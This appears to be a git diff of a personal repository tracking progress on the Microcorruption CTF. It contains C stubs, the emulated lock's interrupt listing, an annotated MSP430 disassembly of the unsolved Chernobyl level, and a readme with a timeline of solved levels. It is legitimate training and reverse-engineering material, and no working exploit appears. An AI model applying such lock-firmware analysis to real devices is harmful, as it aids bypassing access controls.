// if heap not initialized, initialize the heap
// if (get_w (HEAP_BASE + 4)) {
// u16 heap_ptr = HEAP_BASE;
// set_w (heap_ptr, HEAP_BASE);
// set_w (heap_ptr + 2, HEAP_BASE);
// }
// create a new block on the heap
// return the address of the new block
return 0;
}
void _free (void *ptr) {
return;
}
u16 _putchar (char c) {
putchar (c);
return c;
}
i16 _getchar () {
return getchar ();
}
void _puts (const char *s) {
u8 character = 0;
while (character = *(u8 *) s++) {
_putchar (character);
}
return;
}
void _getsn (char *__restrict buf, u16 length) {
fgets (buf, length, stdin);
buf[strnlen(buf, length) - 1] = '\0';
return;
}
int _strcmp (const char *s1, const char *s2) {
while (*s1 == *s2) {
if (*(++s1) == 0) {
break;
}
s2++;
}
return *s2 - *s1;
}
void INT (u16 interrupt) {
swpb (&interrupt);
interrupt |= 0x8000;
//r.sr = interrupt;
__trap_interrupt ();
return;
}
void swpb (u16 *word) {
((u8 *) word)[0] = ((u8 *) word)[0] ^ ((u8 *) word)[1];
((u8 *) word)[1] = ((u8 *) word)[1] ^ ((u8 *) word)[0];
((u8 *) word)[0] = ((u8 *) word)[0] ^ ((u8 *) word)[1];
}

View File

@ -0,0 +1,45 @@
4.3 Interrupt Listing
The LockIT Pro has an augmented MSP430 CPU with a callgate at address
0x10 causing a software interrupt. The interrupts are described below.
INT 0x00.
The putchar interrupt: sends a single byte to the display.
Takes one argument with the character to print.
INT 0x01.
The getchar interrupt: reads a single byte of buffered input.
Takes no arguments.
INT 0x02.
The gets interrupt: read a specific number of bytes to standard input.
Takes two arguments. The first is the address to place the string, the
second is the maximum number of bytes to read. Null bytes are not handled
specially null-terminated.
INT 0x10.
Turn on DEP: pages are either executable or writable but never both.
Takes no arguments.
INT 0x11.
Mark as a page as either only executable or only writable.
Takes two one arguments. The first argument is the page number, the
second argument is 1 if writable, 0 if executable.
INT 0x20.
The rand interrupt: request a random 16-bit number.
Takes no arguments.
INT 0x7D.
Interface with the HSM-1. Set a flag in memory if the password passed in is
correct.
Takes two arguments. The first argument is the password to test, the
second is the location of a flag to overwrite if the password is correct.
INT 0x7E.
Interface with the HSM-2. Trigger the deadbolt unlock if the password is
correct.
Takes one argument: the password to test.
INT 0x7F.
Interface with deadbolt to trigger an unlock if the password is correct.
Takes no arguments.

View File

@ -0,0 +1,3 @@
main:
sp -= 8;
run()

1150
17 - Chernobyl/mc-disasm.asm Normal file

File diff suppressed because it is too large Load Diff

207
17 - Chernobyl/mc-run.asm Normal file
View File

@ -0,0 +1,207 @@
4b66 <run>
4b66: 0b12 push index
4b68: 0a12 push r10
4b6a: 0912 push r9
4b6c: 0812 push r8
4b6e: 0712 push r7
; allocate 0x600 buffer on stack. Woah!
4b70: 3150 00fa add #0xfa00, sp
; r8 = create_hash_table (0x3, 0x5)
4b74: 3e40 0500 mov #0x5, r14
4b78: 3f40 0300 mov #0x3, r15
4b7c: b012 7847 call #0x4778 <create_hash_table>
4b80: 084f mov r15, r8 ; save result
; print out some shit
4b82: 3f40 384a mov #0x4a38, r15
4b86: b012 504d call #0x4d50 <puts>
4b8a: 3f40 584a mov #0x4a58, r15
4b8e: b012 504d call #0x4d50 <puts>
4b92: 3f40 954a mov #0x4a95, r15
4b96: b012 504d call #0x4d50 <puts>
; zero out the stack buffer allocated above
4b9a: 0e43 clr r14
4b9c: 3740 ff05 mov #0x5ff, r7
4ba0: 053c jmp $+0xc <run+0x46>
; run+0x3c
4ba2: 0f41 mov sp, r15
4ba4: 0f5e add r14, r15
4ba6: cf43 0000 mov.b #0x0, 0x0(r15)
4baa: 1e53 inc r14
; run+0x46:
4bac: 079e cmp r14, r7
4bae: f937 jge $-0xc <run+0x3c>
; get 0x550 characters -> stack buffer
4bb0: 3e40 5005 mov #0x550, r14
4bb4: 0f41 mov sp, r15
4bb6: b012 404d call #0x4d40 <getsn>
; run+0x54:
4bba: 0b41 mov sp, index
4bbc: 923c jmp $+0x126 <run+0x17c>
; check for 'a'
__access_check:
4bbe: 7f90 6100 cmp.b #0x61, r15
4bc2: 3a20 jnz $+0x76 <run+0xd2> ; __access%20_check
4bc4: 0e4b mov index, r14
4bc6: 3e50 0700 add #0x7, r14
4bca: 0b4e mov r14, index
4bcc: 073c jmp $+0x10 <run+0x76>
; run+0x68:
; check for ' '
4bce: 7f90 2000 cmp.b #0x20, r15
4bd2: 0320 jnz $+0x8 <run+0x74>
4bd4: cb43 0000 mov.b #0x0, 0x0(index)
4bd8: 043c jmp $+0xa <run+0x7c>
4bda: 1b53 inc index
; run+0x76:
4bdc: 6f4b mov.b @index, r15
4bde: 4f93 tst.b r15
4be0: f623 jnz $-0x12 <run+0x68>
; run+0x7c:
4be2: 1b53 inc index
4be4: 0a43 clr r10
4be6: 0b3c jmp $+0x18 <run+0x98>
; run+0x82:
; r13 =
4be8: 0d4a mov r10, r13
4bea: 0d5d add r13, r13
4bec: 0d5d add r13, r13
4bee: 0d5a add r10, r13
4bf0: 0d5d add r13, r13
4bf2: 6a4b mov.b @index, r10
4bf4: 8a11 sxt r10
4bf6: 3a50 d0ff add #0xffd0, r10
4bfa: 0a5d add r13, r10
4bfc: 1b53 inc index
; run+0x98:
4bfe: 6f4b mov.b @index, r15
4c00: 4f93 tst.b r15
4c02: 0324 jz $+0x8 <run+0xa4>
; check for ';'
4c04: 7f90 3b00 cmp.b #0x3b, r15
4c08: ef23 jnz $-0x20 <run+0x82>
; run+0xa4:
4c0a: 0f48 mov r8, r15
4c0c: b012 cc49 call #0x49cc <get_from_table>
4c10: 3f93 cmp #-0x1, r15
4c12: 0320 jnz $+0x8 <run+0xb4>
; No such box.
4c14: 3f40 964a mov #0x4a96, r15
4c18: 413c jmp $+0x84 <run+0x136>
4c1a: 0aef xor r15, r10
4c1c: 3af0 ff7f and #0x7fff, r10
4c20: 0820 jnz $+0x12 <run+0xcc>
4c22: 0f9a cmp r10, r15
4c24: 0334 jge $+0x8 <run+0xc6>
; Access granted
4c26: 3f40 a34a mov #0x4aa3, r15
4c2a: 383c jmp $+0x72 <run+0x136>
; Access granted, but account not activated.
4c2c: 3f40 b34a mov #0x4ab3, r15
4c30: 353c jmp $+0x6c <run+0x136>
; Aceess denied [sic]
4c32: 3f40 de4a mov #0x4ade, r15
4c36: 323c jmp $+0x66 <run+0x136>
; run+0xd2:
; check for 'n'
__n_check:
4c38: 7f90 6e00 cmp.b #0x6e, r15
4c3c: 4020 jnz $+0x82 <run+0x158>
4c3e: 094b mov index, r9
4c40: 2952 add #0x4, r9
4c42: 0b49 mov r9, index
4c44: 073c jmp $+0x10 <run+0xee>
; run+0xe0
; check for ' '
4c46: 7f90 2000 cmp.b #0x20, r15
4c4a: 0320 jnz $+0x8 <run+0xec>
4c4c: cb43 0000 mov.b #0x0, 0x0(index) ; if next char is space, skip it
4c50: 043c jmp $+0xa <run+0xf4>
; run+0xec
4c52: 1b53 inc index
4c54: 6f4b mov.b @index, r15
4c56: 4f93 tst.b r15
4c58: f623 jnz $-0x12 <run+0xe0>
4c5a: 1b53 inc index
4c5c: 0a43 clr r10
4c5e: 0b3c jmp $+0x18 <run+0x110>
_to_decimal: ; convert the ascii in r10 to decimal?
4c60: 0c4a mov r10, r12
4c62: 0c5c add r12, r12 ; x2
4c64: 0c5c add r12, r12 ; x4
4c66: 0c5a add r10, r12 ; x5
4c68: 0c5c add r12, r12 ; xA
4c6a: 6a4b mov.b @index, r10
4c6c: 8a11 sxt r10
; Subtract 0x30
4c6e: 3a50 d0ff add #0xffd0, r10
4c72: 0a5c add r12, r10
4c74: 1b53 inc index
; run+0x110
4c76: 6f4b mov.b @index, r15
4c78: 4f93 tst.b r15
4c7a: 0324 jz $+0x8 <run+0x11c>
; check for ';'
4c7c: 7f90 3b00 cmp.b #0x3b, r15
4c80: ef23 jnz $-0x20 <run+0xfa>
4c82: 0a93 tst r10
4c84: 0334 jge $+0x8 <run+0x126>
; Can not have pin with high bit set
4c86: 3f40 ec4a mov #0x4aec, r15
4c8a: 083c jmp $+0x12 <run+0x136>
4c8c: 0e49 mov r9, r14
4c8e: 0f48 mov r8, r15
4c90: b012 cc49 call #0x49cc <get_from_table>
4c94: 3f93 cmp #-0x1, r15
4c96: 0524 jz $+0xc <run+0x13c>
; User already has an account
4c98: 3f40 124b mov #0x4b12, r15
4c9c: b012 504d call #0x4d50 <puts>
4ca0: 1c3c jmp $+0x3a <run+0x174>
add_user_account:
4ca2: 0a12 push r10
4ca4: 0912 push r9
4ca6: 3012 2f4b push #0x4b2f
4caa: b012 4844 call #0x4448 <printf>
4cae: 3150 0600 add #0x6, sp
4cb2: 0d4a mov r10, r13
4cb4: 0e49 mov r9, r14
4cb6: 0f48 mov r8, r15
4cb8: b012 3248 call #0x4832 <add_to_table>
4cbc: 0e3c jmp $+0x1e <run+0x174> ; NOT strings
; end of the function:
4cbe: 3f40 544b mov #0x4b54, r15
4cc2: b012 504d call #0x4d50 <puts>
failure_case:
4cc6: 1f43 mov #0x1, r15
4cc8: 3150 0006 add #0x600, sp
run_end:
4ccc: 3741 pop r7
4cce: 3841 pop r8
4cd0: 3941 pop r9
4cd2: 3a41 pop r10
4cd4: 3b41 pop index
4cd6: 3041 ret
; loop_end
4cd8: 1b53 inc index
; check for ';'
4cda: fb90 3b00 0000 cmp.b #0x3b, 0x0(index)
4ce0: fb27 jz $-0x8 <run+0x172>
; end of the loop
; run+0x17c:
4ce2: 6f4b mov.b @index, r15
4ce4: 4f93 tst.b r15
4ce6: 6b23 jnz $-0x128 <run+0x58> ; 4bbe
; cleanup
4ce8: 0e43 clr r14
4cea: 603f jmp $-0x13e <run+0x46>

BIN
17 - Chernobyl/memory.bin Normal file

Binary file not shown.

33
readme.md Normal file
View File

@ -0,0 +1,33 @@
# WARNING: SPOILERS AHEAD
# [Micro Corruption](https://microcorruption.com/) Solutions and Progress
This repo is for keeping track of my Microcorruption progress, and organizing my solutions.
As of the time of writing, i'm on Chernobyl, and working slowly but surely towards a solution.
Hopefully in the coming weeks I'll learn enough about malloc and free to get something done on it!
## Timeline of Events:
### 2022 Jul 28 PM:
Tutorial
New Orleans
Sydney
### 2022 Jul 29 AM:
Hanoi
Cusco
Reykjavik
Whitehorse
Montevideo
Johannesberg
Santa Cruz
### 2022 Jul 29 PM:
Jakarta
Addis Ababa
Novosibirsk
Algiers
### 2022 Jul 30 AM:
Vladivostok
Bangalore
### 2022 Jul 31 AM:
Lagos
### 2022 Jul 31 PM - Present Day:
Chernobyl (ongoing)